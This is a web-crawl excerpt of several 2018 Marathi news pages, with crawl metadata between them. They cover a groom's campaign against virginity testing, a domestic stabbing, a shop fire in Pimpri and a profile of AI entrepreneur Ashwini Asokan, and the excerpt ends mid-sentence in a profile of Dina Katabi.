दिला\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00437.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%95%E0%A5%8C%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%AF-%E0%A4%9A%E0%A4%BE%E0%A4%9A%E0%A4%A3%E0%A5%80-%E0%A4%B5%E0%A4%BF%E0%A4%B0%E0%A5%8B%E0%A4%A7%E0%A4%BE%E0%A4%A4-%E0%A4%A4%E0%A4%B0/", "date_download": "2018-09-25T18:00:03Z", "digest": "sha1:3A4SWZVT54VYHFDGHXBFPFV3YL3I42SQ", "length": 10715, "nlines": 74, "source_domain": "pclive7.com", "title": "कौमार्य चाचणी विरोधात तरुणाने लग्नपत्रिकेतून फुंकले ‘रणशिंग’; काळेवाडीत संपन्न झाला लग्न सोहळा… | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड कौमार्य चाचणी विरोधात तरुणाने लग्नपत्रिकेतून फुंकले ‘रणशिंग’; काळेवाडीत संपन्न झाला लग्न सोहळा…\nकौमार्य चाचणी विरोधात तरुणाने लग्नपत्रिकेतून फुंकले ‘रणशिंग’; काळेवाडीत संपन्न झाला लग्न सोहळा…\nपिंपरी (Pclive7.com):- कंजारभाट समाजात विवाह ठरविल्यानतंर विवाहादरम्यान कौमार्य चाचणी केली जाते. पूर्वापार चालत आलेल्या या परंपरा आजही सुरू आहेत. मात्र, त्याच समाजातील तरुणांना ही चाचणी मान्य नसल्याने त्यांनी याविरोधात आवाज उठवायला सुरुवात केली होती. अशाच प्रकारे कांजारभाट समाजातील एका तरुणाने चक्क स्वत:च्या लग्नपत्रिकेतून या कौमार्य चाचणीच्या प्रथेविरोधात आवाज उठविणारा संदेश दिला आहे. पिंपरीतील काळेवाडी येथे हा लग्न सोहळा आज संपन्न झाला.\nविवेक तायमाचीकर असे त्या कंजारभाट समाजातील कौमार्य चाचणी विरोधात जनजागृती करणाऱ्या तरुणाचे नाव आहे. विवेकने लग्न पत्रिकेच्या माध्यमातून जातपंचायत, कौमार्य चाचणी विरोधात संदेश प्रसारित केला होता.\nकंजारभाट समाजात आज ही कौमार्य चाचणी केली जाते. पण त्याचा गाजावाजा होत नाही. याला विरोध करण्यास समाजातील एकही कुटुंब पुढे येत नाही. या परंपरेला विरोध करणाऱ्यांना कंजारभाट समाजाकडून वाळीत टाकले जाते. त्यामुळे भिती पोटी कौमार्य चाचणीची परंपरा अद्याप सुरूच आहे.\nमात्र काळाच्या प्रवाहासोबत विकासाच्या प्रवाहात आलेल्या आणि तंत्रज्ञानाच्या जगात वावरणाऱ्या या समाजातील तरुणांनी या कौमार्य चाचणी विरोधात एल्गार पुकारला आहे. ही प्रथा बंद पाडावी यासाठी आता समाजातील लोकांचे प्रबोधन करण्याचा प्रयत्न सुरू केला आहे. विवेक तायमाचीकर यांचे आज शनिवार दिनांक १२ मे ला पिंपरी परिसरातील काळेवाडी येथे बालाजी लाँन परिसरात लग्न संपन्न झाले आहे. हीच संधी साधत विवेकने कौमार्यचाचणी विरोधाचे प्रचार स्वत:च्या लग्न पत्रिकेतच्या माध्यमातून करण्याचे ठरवले होते.\nविवेकने लग्नपत्रिकेत प्रबोधनपर संदेश लिहीला होता. याबद्दल समाजातही आश्चर्य व्यकत केले जात होते. विवेकला ही कौमार्य चाचणी बंद करण्याकरता अनेक अडचणीना सामोरे जावे लागले होते. विवेच्या मावशीच्या मुलीची कौमार्य चाचणी काही दिवसांपूर्वी पंचायत लोकांसमोर करण्यात आली होती. त्यावेळी या मुलांनी त्याचे चित्रीकरण करुन माध्यमांना दिले होते. याबद्दलची माहिती समाजातील ज्येष्ठ व्यक्तींना लागताच विवेक तायमाचीकर याला मारहाण करण्यात आली होती. शिवाय त्याला जिवे मारण्याचीही धमकी देण्यात आली होती. या प्रकरणीची दखल राज्य सरकारनेसुध्दा घेतली होती. त्यानंतर याविरोधात कठोर कारवाई करण्याचे आदेशही गृहराज्यमंत्र्यांनी पोलिसांना दिले होते.\nअखेर विवेकने ही प्रथा बंद करण्यासाठी आता पावले उचलली. त्याने त्याच्या लग्न पत्रिकेच्या माध्यमातून ही कौमार्यचाचणीबद्दल जनजागृती सुरू केली आहे. याबद्दल नागरिकांमधून आश्चर्यपेक्षा सर्वत्र कौतुकही केले जात आहे.\nपिंपरीत मनसेचा आता एकच शहराध्यक्ष; सचिन चिखले यांच्यावर जबाबदारी\nपिंपरीत ग्रेडसेप्रेटरमध्ये कारचा भीषण अपघात; नियंत्रण सुटल्याने चालकाचा मृत्यू, एकजण गंभीर\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00438.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/husband-beaten-Wife/", "date_download": "2018-09-25T17:53:07Z", "digest": "sha1:IGTTUTZYHYRCRDJS7MP5BSUZQ5P24JLT", "length": 5571, "nlines": 35, "source_domain": "www.pudhari.news", "title": " चहा मागितला म्हणून पत्नीने पतीस भोसकले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › चहा मागितला म्हणून पत्नीने पतीस भोसकले\nचहा मागितला म्हणून पत्नीने पतीस भोसकले\nकामावर जाण्यास उशीर होत असल्याने मला लवकर चहा दे असे पतीने सांगताच पत्नीचा राग अनावर होवून तिने भाजी कापण्याच्या चाकूने पतीस भोसकल्याची घटना चितळसर पोलीस ठाण्याच्या हद्दीत घडली. याप्रकरणी पतीने दिलेल्या तक्रारीनंतर पत्नीविरोधात गुन्हा दाखल करण्यात आला आहे.\nधर्मवीर नगरातील अशोका सोसायटीत बिल्डिंग नंबर 2 आणि रूम नंबर 304 मध्ये राहणारे राहुल गरुड (37) हे फोटोग्राफीचा व्यवसाय करतात. राहुल यांच्यासोबत त्यांचा 10 वर्षाचा मुलगा व पत्नी अश्विनी (31) राहतात. दरम्यान, 11 मार्च रोजी सकाळी कामावर जाण्यास उशीर होत असल्याने राहुल यांनी पत्नी अश्विनीला लवकर चहा दे, असे सांगितले. याचा राग आल्याने अश्विनी हिने राहुल यांना मी चहा देणार नाही असे सांगत बडबड करण्यास सुरुवात केली. त्यानंतर राहुल हे, नाही द्यायचा तर राहू दे असे सांगत घरातून बाहेर जावू लागले.\nयावेळी रागाच्या भरात अश्विनीने किचनमधून भाजी कापण्याचा चाकू आणून राहुलच्या खांद्यावर वार केला. या घटनेत राहुल जखमी झाले व त्यांनी सरळ चितळसर पोलीस स्टेशन गाठले. पोलिसांनी राहुल यांच्यावर सिव्हिल रुग्णालयात उपचार केल्यानंतर त्यांची तक्रार दाखल करून घेतली. याप्रकरणी पोलिसांनी अश्विनी गरुड हिच्याविरोधात गुन्हा दाखल केला आहे. गरुड दाम्पत्यात कौटुंबिक वाद असून अश्विनी हिने 2014 साली राहुल विरोधात ठाणे कौटुंबिक न्यायालयात खटला दाखल केला होता. मात्र त्यानंतर ते पुन्हा एकत्र राहू लागले होते.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00439.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Fire-Breaks-Out-In-Pimpari-Pune/", "date_download": "2018-09-25T16:57:35Z", "digest": "sha1:VOCI3QEPDTI2VCHWJDGO7NHOBAM3CTST", "length": 3798, "nlines": 34, "source_domain": "www.pudhari.news", "title": " पिंपरी: भीषण आगीत भंगाराचे दुकान जळून खाक | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › पिंपरी: भीषण आगीत भंगाराचे दुकान जळून खाक\nपिंपरी: भीषण आगीत भंगाराचे दुकान जळून खाक\nवाल्हेकरवाडी येथे भंगाराच्या दुकानला शॉटसर्किटमुळे लागलेल्या आगीत शेजारची तीन दुकाने जळून खाक झाली. ही घटना मंगळवारी (ता.१३) रात्री घडली. वाल्हेकरवाडी येथील भंगाराच्या दुकानाला रात्री ११ च्या सुमारास आग लागली.\nआगीची माहिती मिळताच प्राधिकरण, रहाटणी आणि संत तुकारामनगर अग्निशामक मुख्यालयातून प्रत्येकी एक बंब घटनास्थळी दाखल झाला. दीड तासाच्या अथक प्रयत्नानंतर आग विझवण्यात आली. मात्र, तोपर्यंत भंगाराचे दुकान पूर्णपणे जळून खाक झाले होते. तर बाजूला असलेले गॅरेज व फॅब्रिकेशनच्या दुकानालाही मोठ्या प्रमाणात झळ बसली. सुदैवाने या आगीत कोणीही जखमी झाले नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00439.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/318a26248a/ashwini-asokanah-artificial-intelligence-sector-39-real-39-entrepreneur", "date_download": "2018-09-25T17:54:58Z", "digest": "sha1:DUQUI2XSIV5WUPVR6FP5TA43VJORIPIA", "length": 28069, "nlines": 101, "source_domain": "marathi.yourstory.com", "title": "अश्विनी असोकनः आर्टीफिशियल इंटेलिजन्स क्षेत्रातील ‘रिअल’ उद्योजिका", "raw_content": "\nअश्विनी असोकनः आर्टीफिशियल इंटेलिजन्स क्षेत्रातील ‘रिअल’ उद्योजिका\n“ मी सिलिकॉन व्हॅली सोडून भारतात आले ते माझ्या पतीबरोबर 'एआय' (आर्टीफिशियल इंटेलिजन्स) कंपनी सुरु करण्यासाठी... या कंपनीची एक महिला सह-संस्थापिका असूनही आणि मी सोफ्टवेअर कोडची एक ओळही लिहीत नाही आणि हे मी सगळ्यांना आवर्जून सांगते जेणेकरुन ते त्यांच्या साचेबंध कल्पनांमधून बाहेर पडतील,” मॅड स्ट्रीट डेनच्या अश्विनी असोकन सांगतात.\nतंत्रज्ञान क्षेत्रात असूनही अश्विनी कोडची एक ओळही लिहीत नाहीत. आपल्या संस्थेच्या सहसंस्थापकाशी लग्न केलेल्या अश्विनी या दोन मुलांची आई आहेत. मुख्य म्हणजे स्टार्टअपमधील महिलांच्या आजच्या गरजांबाबत त्या परखडपणे बोलताना दिसतात. त्यांच्या मते आता स्त्रियांनीच परिस्थिती हातात घेण्याची गरज आहे. तसेच त्या केवळ बोलून थांबणाऱ्यांपैकी नाहीत तर आघाडीला जाऊन लढणाऱ्यांपैकी आहेत. त्यामुळेच अनेक स्त्रियांसाठी त्या एक प्रेरणादायी व्यक्तिमत्व ठरु शकतात. तंत्रज्ञान क्षेत्रातील प्रदीर्घ अनुभव असलेल्या अश्विनीकडे सहाजिकच सांगण्यासारखे खूप काही आहे. त्यांच्या आयुष्याचा प्रवास, आव्हाने आणि तंत्रज्ञान क्षेत्रातील महिला यासह इतर अनेक विषयांवर अश्विनी यांची मते जाणून घेण्याचा प्रयत्न केला.\nअश्विनी या मुळच्या चैनईच्या... त्यांनी संगीत आणि शास्त्रीय नृत्याचे प्रशिक्षण घेतले होते आणि वयवर्षे चौदा ते एकवीस या काळात त्यांना कार्यक्रमांनिमित्त देशभर प्रवास करायला मिळाला. सहाजिकच आपण एक कलाकार होणार अशीच कल्पना असलेल्या अश्विनी यांची महाविद्यालयातील हजेरी जेमतेमच होती. मात्र त्यांच्या वडिलांच्या मनात काही वेगळेच होते. अश्विनी यांनी इंटरॅक्शन डिजाईन या विषयात पदव्युत्तर शिक्षण घ्यावे, असा वडिलांचा आग्रह होता. गंमत म्हणजे कार्नेजी मेलॉनमध्ये असताना त्यांनी निवडलेला प्रबंधाचा विषय होता नृत्यांचे सांस्कृतिक प्रकार रोबोटस् आणि इतर डिजिटल एजंटच्या हालचालींचे डिजाईन करण्याचा विचार करताना कशा प्रकारे मदत करु शकतात..\n“नृत्य, संगीत, डिजाईन, संगणक, समाज आणि संस्कृती यांना जोडणाऱ्या धाग्यांच्या आधारेच मी माझे आयुष्य घालविले आहे आणि या सगळ्यासाठी मी एका व्यक्तीचे देणे लागते – माझ्या वडिलांचे... कसे कोण जाणे त्यांना सगळ्याच गोष्टींबद्दल सगळे काही माहित असते,” अश्विनी सांगतात. त्यांची आई त्यांच्या कुटुंबाचा कणा आहे आणि लाड करणाऱ्या आजीप्रमाणे तिच्या मुलांची काळजी घेणारे दुसरे कोणी त्यांनी आजपर्यंत पाहिलेलेच नाही.\nइंटेल हा अश्विनी यांच्यासाठी खूप काही शिकाविणारा अनुभव ठरला. मानववंशशास्त्रज्ञ डॉ. जेनेव्हाईव्ह बेल हे दहा वर्षांहून अधिक काळ अश्विनी यांचे वरीष्ठ अधिकारी होते. स्मार्ट होम व्यवसायांतर्गत ते युएक्स या संस्थेची उभारणी करत होते आणि त्यादृष्टीने ते डिजायनर्स, मानववंशशास्त्रज्ञ, ह्युमन फॅक्टर अंभियता यांची टीम उभारत होते. टीव्हीचे भविष्य आणि भविष्य़ात त्यामध्ये शक्य असलेले बदल घडविण्याच्यादृष्टीने अभ्यास करणे हा त्यामागचा उद्देश होता. अश्विनी यांना या टीमची सदस्य होण्याची संघी मिळाली आणि त्याचबरोबर वेगवेगळ्या क्षेत्रातील लोकांबरोबर कामही करता आले. ज्यामध्ये उत्पादन क्षेत्रातील लोक होते, सिलिकॉन डिझाईनमध्ये मध्यवर्ती भागात काम करणारे होते तसेच सॉफ्टवेअर आणि सेन्सरच्या क्षेत्रातीलही होते. “ इंटेलमधील माझा संपूर्ण प्रवास हा मला खूप काही शिकविणारा होता आणि युएक्स, डिजाईन आणि पिपल सेंट्रीक रिसर्च या गोष्टी तंत्रज्ञान, संशोधन आणि विकास यांच्या प्रगतीसाठी कशा प्रकारे मदत करतात हेदेखील मला शिकता आले, ,” त्या सांगतात.\nइंटेलमधील शेवटच्या चार वर्षांत अश्विनी त्यांच्या लॅबसाठी मोबाईल रिसर्च अजेंडावर काम करत होत्या आणि त्यावेळी त्यांना मशीन लर्निंग, इमेज रेक्गनिशन, सेन्सर्सबरोबर काम करणाऱ्या टीम्स आणि कॉनटेक्स्युअल कंप्युटींगबरोबर जवळून काम करता आले. याच काळात त्यांची आर्टीफिशियल इंटेलिजन्समधील रुची वाढली.\nव्यावसायिक जीवनात खुल्या दिलाने आपण वेगवेगळ्या प्रकारचे काम करुन पाहिले पाहिजे आणि त्याचबरोबर इतर संबंधित क्षेत्रातही काही अनुभव मिळविला पाहिजे, हा आपल्या व्यावसायिक आयुष्यातील सर्वात मोठा धडा असल्याचे अश्विनी यांना वाटते. “ न्युरल नेटवर्क कसे काम करते ते मला समजते, मशीन लर्निंगचे अगदी महत्वाचे तत्व मला समजते, तंत्रज्ञान कसे एकत्र करावे याची मला पुरेशी माहिती आहे आणि इतर कशाहीपेक्षा अधिक महत्वाचे म्हणजे मला माझ्या विषयाचा गाभा चांगलाच माहीत आहे – तंत्रज्ञान समजून घेऊन त्याचा जगभरातील लोकांसाठी अधिक अर्थपूर्ण रीतीने वापर करणे,” त्या सांगतात.\n“ माझे लग्न एक न्युरोसायन्टीस्टशी झाले आहे जे आर्टफीशियल इंटेलिजन्स (एआय) चे प्रमुख होते. आम्ही दिवस रात्र एकाच विषयावर चर्चा करत असू. चर्चेचा विषय असे एआय आणि समाज आणि तंत्रज्ञानाचे भविष्य... त्यामुळे या मार्गावरुन एकत्रच वाटचाल करणे आमच्यासाठी नैसर्गिक होते. जर माझे त्यांच्याशी लग्न झाले नसते, तर मात्र मी हे केले असते, असे मला वाटत नाही. आमच्या एकमेकांना शोधण्याच्या आणि एकत्र वाढण्याच्या प्रक्रियेमध्ये भविष्याबद्दलच्या आमच्या कल्पना हा अविभाज्य भाग होता. आमचे लग्न झाल्यापासून माझ्यात खूपच बदल झाला असून याचे सगळे श्रेय माझ्या नवऱ्यालाच आहे,” त्या सांगतात.\nआज एआय कडे ज्या नकारात्मक दृष्टीने पाहिले जाते ते अश्विनी यांना चांगलेच खटकते. त्यामुळे आपल्या ब्लॉगच्या माध्यमातून ही मनोवृत्ती बदलण्याचा त्या प्रयत्न करत आहेत. मॅड स्ट्रीट डेन (एमएएस) ही त्यांच्यासाठी केवळ तंत्रज्ञान कंपनी नाही तर अशी एक कंपनी आहे जिला एआय आणि संगणकाची दृष्टी लोकांपर्यंत अधिक अर्थपूर्ण प्रकारे पोहचविण्याची आशा आहे.\nअश्विनी यांच्या मते उद्योजकांनी बाजारपेठ समजून घेणे महत्वाचे आहे. ज्या ठिकाणी त्यांची उत्पादने ठेवली जाणार आहे तिथले लोक, त्यांच्या सवयी, भावना, व्यवस्था, घडणाऱ्या घडामोडी यांच्याबद्दलची माहिती जाणून घेणे आवश्यक आहे. अश्विनीच्या दृष्टीने सातत्याने होणारे बदलच एका व्यावसायिकाच्या आयुष्याची व्याख्या आहे.\nएक व्यावसायिक म्हणून तुम्हाला काही गुण आत्मसात करावे लागतात आणि त्यातील त्यांच्या दृष्टीने सर्वात महत्वाचा म्हणजे इतरांच्या प्रती असलेली सहानुभूती...\nसमाज माध्यमांच्या द्वारे अश्विनी सातत्याने तंत्रज्ञान क्षेत्रातील महिलांबाबत बोलत असतात आणि त्यांच्या मते प्रमुख अडचण ही आहे की तंत्रज्ञान क्षेत्रातील शिक्षण घेतलेल्या आणि त्या कामासाठी पात्र असलेल्या महिलांना काही काळाने या क्षेत्रापासून दूर जावे लागते. यामागचे प्रमुख कारण म्हणजे लग्न आणि मुले.... पण हा काही फक्त महिलांचा प्रश्न नाही, अश्विनी सांगतात, “ व्यवस्थेची रचनाच त्यांच्या विरुद्ध आहे.”\nपायाभूत सुविधांची कमतरता आणि त्याचबरोबर महिलांना त्यांच्या आयुष्यात विविध टप्प्यांवर मदत करणाऱ्या धोरणांची कमी यामुळे ही व्यवस्था चालू आहे. खरे सांगयचे तर संपूर्ण तंत्रज्ञान उद्योगाची व्यवस्थाच पुरुषांसाठी आहे, असा पुरुष ज्याला कौटुंबिक कामे करण्याची किंवा मुलांना वाढविण्याची काळजी करण्याची गरज नाही.\n“ स्टार्ट अप्सदेखील प्रामुख्याने पुरुषांचाच विचार करताना दिसतात. उदाहरणार्थ स्टार्टअपमध्ये स्तनपानासाठी जागा आणि बालसंगोपन केंद्रांऐवजी फुसबॉलटेबल, खेळ, चकचकीत कॅफे यांची निवड केली जाते,” त्या सांगतात.\nया क्षेत्रात स्त्रियांची संख्या वाढेल, अशी अश्विनी यांना आशा आहे. मात्र हे काही आपोआप होणार नाही. सत्तास्थानावर असलेल्या महिलांकडूनच यासाठी चालना मिळायला पाहिजे आणि त्यासाठी नुसता पाठींबा देऊन चालणार नाही तर महिलांची संख्या आणि परिस्थिती बदलण्यासाठी काही गोष्टी करणे आवश्यक आहेत, असेही त्यांना वाटते.\nयासाठी सर्वात महत्वाची गोष्ट आहे ती सर्वांना समान पातळीवर आणण्याची गरज संस्थापक आणि गुंतवणूकदारांना पटवून देणे. “ तुम्ही फक्त एका जागी बसून केवळ ‘ओके’ म्हणू शकत नाही. तुम्ही तुल्यबळ आहात, ते सिद्ध करुन दाखवा. तसेच अशा प्रकारे समपातळी तयार करण्यासाठी तुम्हाला नक्कीच कष्ट पडणार आहेत कारण ही असामनता पिढ्यानपिढ्या चालत आलेली आहे,” त्या सांगतात.\nतंत्रज्ञान क्षेत्रातील महिलांच्या कमी टक्केवारीसाठी आपण नेहमीच आकांत करत असतो, पण महिलांचा एक लहानसा गट जो बदल घडविण्यासाठी काम करत आहे, त्याची आपण कदर केली पाहिजे आणि अश्विनीदेखील हे करणाऱ्यांपैकी एक आहे. “ एमएसडीमध्ये आमची चार महिला आणि चार पुरुषांची टीम आहे. मात्र भविष्यात एखादी लहान मुल असलेली महिला कंपनीमध्ये आली तर त्यादृष्टीने आम्ही खेळ आणि मुलांची काळजी घेण्याच्या दृष्टीने योजना तयार केली आहे. त्याचबरोबर स्तनपान करण्यासाठीही जागा आहे.\nत्या सध्या चैनईमधील काही लोकांबरोबर काम करत असून तंत्रज्ञान क्षेत्रातील महिलांना स्टार्ट अप ग्रुपस् च्या मुख्य प्रवाहात आणण्याचा त्यांचा प्रयत्न आहे.\nएक महिला म्हणून आपण आपल्या कारकिर्दीसाठी आणि गरजांसाठी स्वतःच जबाबदार आहोत. सर्वप्रथम तुम्ही कोण आहात, हे स्पष्ट असणे गरजेचे आहे आणि त्यानंतर तुम्ही निर्लज्जपणे आपल्या मागण्या किंवा प्रश्न मांडले पाहिजे – इंटेलमधील त्यांच्या महिला वरिष्ठांकडून अश्विनी यांनी शिकलेला हा पहिला धडा होता.\nयाबाबत अधिक विस्ताराने सांगताना त्या म्हणतात, “ स्तनपानासाठी विशेष खोलीची मागणी करा आणि त्यांना या गोष्टीची जाणीव करुन द्या, की ते काम करणाऱ्या आयांच्या बाबत सहानुभूती दाखवत नाहीयेत... तंत्रज्ञान परिषदांमध्ये बाल संगोपन विभागाची मागणी करा जेणेकरुन त्यांना काम करणाऱ्या महिलांना सात नंतर मुलांचीही काळजी घ्यावे लागते, ही गोष्ट ते समजून घेत नसल्याची जाणीव होईल... माझ्या मागण्या आणि प्रश्न विचारणे मी थांबविणार नाही...”\nत्यांचे स्वतःचे उदाहरण सांगताना त्या म्हणतात, “ एक सज्ञान नागरिक म्हणून मी माझे संपूर्ण आयुष्य अमेरिकेत घालविल्यानंतर मी नुकतीच भारतात परतले. मी वीस वर्षांची तरुणी नाही. मी दोन मुलांची आई आहे. माझी मुले अगदी लहान असताना कंपनीला सुरुवात झाली. त्यापैकी एकाला तर अजूनही स्तनपान सुरु होते. तेंव्हा कामानिमित्त मी देशभरात फिरत असे... या एक दिवसाच्या ट्रिपस् करताना माझा स्तनपानाचा पंप नेहमीच माझ्या जवळ असे. व्हीसीबरोबरच्या मिटींगमधूनही मी दोन वेळा रेस्ट रुममध्ये जाऊन माझ्या नवजात बाळासाठी या पंपाच्या सहाय्याने दूध काढले आहे आणि ते दूध घेऊन मी मुंबई, बंगळुरु आणि देशभरात कुठूनही मी चैनईला घेऊन गेले आहे.”\nकंपनीची वाढ होत असताना सहाजिकच अश्विनीचे काम आणि प्रवास यामध्येही वाढ होत आहे. पण त्यांनी त्यांच्या सहसंस्थापकाशीच लग्न केल्याने, कुटुंब, घर, मुले आणि काम – सगळ्यामध्येच ते एकत्र आहेत. “ आमची एकमेकांकडून ही आग्रहाची मागणी असते आणि जसे की मी नेहमीच सांगत असते, माझा नवरा माझ्यापेक्षा जास्त स्त्रीवादी आहे,” त्या सांगतात.\nअश्विनी म्हणतात त्या एक दिवस फक्त उद्योजक होतील आणि महिला उद्योजक नाही तसेच त्यांचे नाव आघाडीच्या उद्योजकांच्या यादीत असेल ते केवळ उद्योजक म्हणून महिला उद्योजक म्हणून नव्हे. “ मला केवळ महिला असल्यामुळे त्या यादीत यायचे नाही आणि अल्पसंख्य रहायचे नाही. आज मी हे मान्य करते कारण मला माहित आहे की दुर्दैवाने मी त्या अल्पसंख्यांकांपैकी एक आहे आणि त्यांच्यासाठी बोलणे गरजेचे आहे. मला त्याची पूर्ण जाणीव आहे. एक व्यावसायिक म्हणून ही केवळ सुरुवात आहे आणि अजून मोठा पल्ला गाठायचा आहे. पण भविष्यात मात्र मला महिला उद्योजक ही विशेष श्रेणी आहे, असे ऐकायचेही नाही,” त्या सांगतात\nमहिलांच्या विकासातील मोठा अडथळा म्हणजे स्वतः महिलाच – अनिषा सिंह, संस्थापिका, मायदल\nबरैली ते नवी दिल्लीः कथा रश्मी वर्मा यांच्या रंजक प्रवासाची....\n‘जग दृष्यमान होत आहे आणि कसे, ते माझ्या मुली मला दाखवित आहेत’ – किर्थिगा रेड्डी, व्यवस्थापकीय संचालक, फेसबुक इंडिया.\nएका कल्पक उद्योजिनीची कहाणी...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00439.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://www.loksatta.com/vyakhtivedh-news/loksatta-vyakti-vedh-dina-katabi-1659701/", "date_download": "2018-09-25T17:18:14Z", "digest": "sha1:GW5PV6SKCT7PHC4HSYQNIYA6LQQDDAA4", "length": 13592, "nlines": 201, "source_domain": "www.loksatta.com", "title": "Loksatta Vyakti Vedh Dina Katabi | डॉ. दिना कटाबी | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nट्रम्प यांची अमेरिका केवळ त्यांच्या देशातील लोकांनी महान केलेली नाही\nट्रम्प यांची अमेरिका केवळ त्यांच्या देशातील लोकांनी महान केलेली नाही, पण अमेरिकेला महान करण्यासाठी ते स्थलांतरित लोकांना बाहेर काढायला निघाले आहेत. अमेरिकेत अनेक यशस्वी कहाण्या स्थलांतरितांच्याच आहेत. दिना कटाबी ही तरुण मुलगी मूळ 